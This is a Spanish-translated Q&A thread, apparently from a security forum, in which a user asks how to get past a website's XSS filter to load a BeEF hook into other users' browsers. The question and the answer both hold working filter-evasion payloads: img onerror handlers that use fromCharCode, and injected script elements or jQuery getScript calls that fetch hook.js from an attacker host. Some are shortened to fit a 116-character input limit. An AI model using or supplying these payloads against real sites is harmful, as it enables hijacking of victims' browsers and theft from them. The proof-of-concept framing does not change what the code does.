Bypass del filtro XSS para enganchar BeEF

4

Encontré una vulnerabilidad en un sitio web que me permite activar XSS. Es una vulnerabilidad muy específica, causada por un defecto de diseño. Quiero escribir un PoC para ellos, pero estoy atascado en este paso.

La carga útil XSS no se entrega a través de una URL, y no se almacena en una base de datos. Por lo tanto, no es ni XSS persistente ni XSS reflexivo. El atacante debe ingresar la carga útil en un cuadro y enviarlo a otro usuario de ese sitio web mediante la modificación de una ID específica.

De todos modos, mi pregunta. Filtran XSS pero no son lo suficientemente buenos, ya que este bypass puede omitir su filtro:

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

El problema es, ¿cómo uso este filtro específico para enganchar a BeEF? Lo intenté:

<IMG SRC=/ onerror="document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))"></img>

Pero esa carga útil no se entrega limpia, como resultado obtengo muchos otros HTML mezclados. También busqué si ya hay artículos que explican cómo omitir los filtros XSS para enganchar a BeEF, pero no encontré ninguno.

Entonces, mi pregunta, ¿hay una manera de evitar los filtros XSS, para poder enganchar a BeEF? No le pregunto a cómo omitir XSS en general, lo pregunto en una situación en la que desea incluye el archivo de BeEF hook.js.

Edición 1: un problema adicional, solo tengo 116 caracteres exactos para ingresar en el cuadro. ¿No creo que haya un problema para acortar JavaScript tanto? Además, lo que quise decir con "obtuve una mezcla con mucho HTML", fue que cuando ingresé esa otra cadena larga, la caja "absorbió" una parte del código HTML. Lo que también satisfaría es utilizar la función window.open (), para abrir un sitio web que contenga el gancho en una nueva ventana o pestaña o lo que sea.

Edición 2: encontré una forma de abrir una nueva URL en una nueva pestaña usando este código: <img src="/" onerror="window.open('http://127.0.0.1:3000/hook.js', '_blank')"> Sin embargo, el usuario recibe una advertencia de que se bloqueó una ventana emergente, y cuando lo permite, se enfoca en esa pestaña inmediatamente. ¿Esto satisface a un PoC? ¿O alguien tiene mejores soluciones?

    
pregunta O'Niel 06.07.2016 - 15:38
fuente

1 respuesta

5

Versión original

El uso de document.write en un evento puede causar problemas si el evento se activa después de que se carga la página (es decir, se cierra), ya que el navegador borre el documento e inicie uno nuevo en blanco. No estoy seguro de que entienda lo que se supone que significa "la carga útil no se entrega limpia, como resultado de lo que obtengo muchos otros HTML mezclados", pero este podría ser su problema.

Si es así, intente usar esto (menos los saltos de línea y los comentarios) como una carga útil:

var x = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116)); // "script"
x.src = String.fromCharCode(49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115); // "127.0.0.1:3000/hook.js" - Might not need to be obfuscated?
document.body.appendChild(x);

Basado en esta respuesta.

Versiones más cortas

Los escribiré con espacios en blanco incluidos para facilitar la lectura, pero, por supuesto, se pueden eliminar. Estoy asumiendo que solo la palabra script se filtra desde que usaste fromCharCode . Si se filtra más, es posible que tengas que cambiarlos un poco, pero debería haber margen de maniobra.

Alt 1 (94 caracteres)

y = document;
x = y.createElement("scr" + "ipt");
x.src = "127.0.0.1:3000/hook.js";
y.body.appendChild(x)

Si script sin < y > está bien, puedes ganar algunos caracteres eliminando "+" .

Alt 2 (con jQuery, 43 caracteres)

$["getScr"+"ipt"]("127.0.0.1:3000/hook.js")

Nuevamente, si script está bien, puedes bajar a 37 caracteres:

$.getScript("127.0.0.1:3000/hook.js")
    
respondido por el Anders 06.07.2016 - 16:09
fuente

Lea otras preguntas en las etiquetas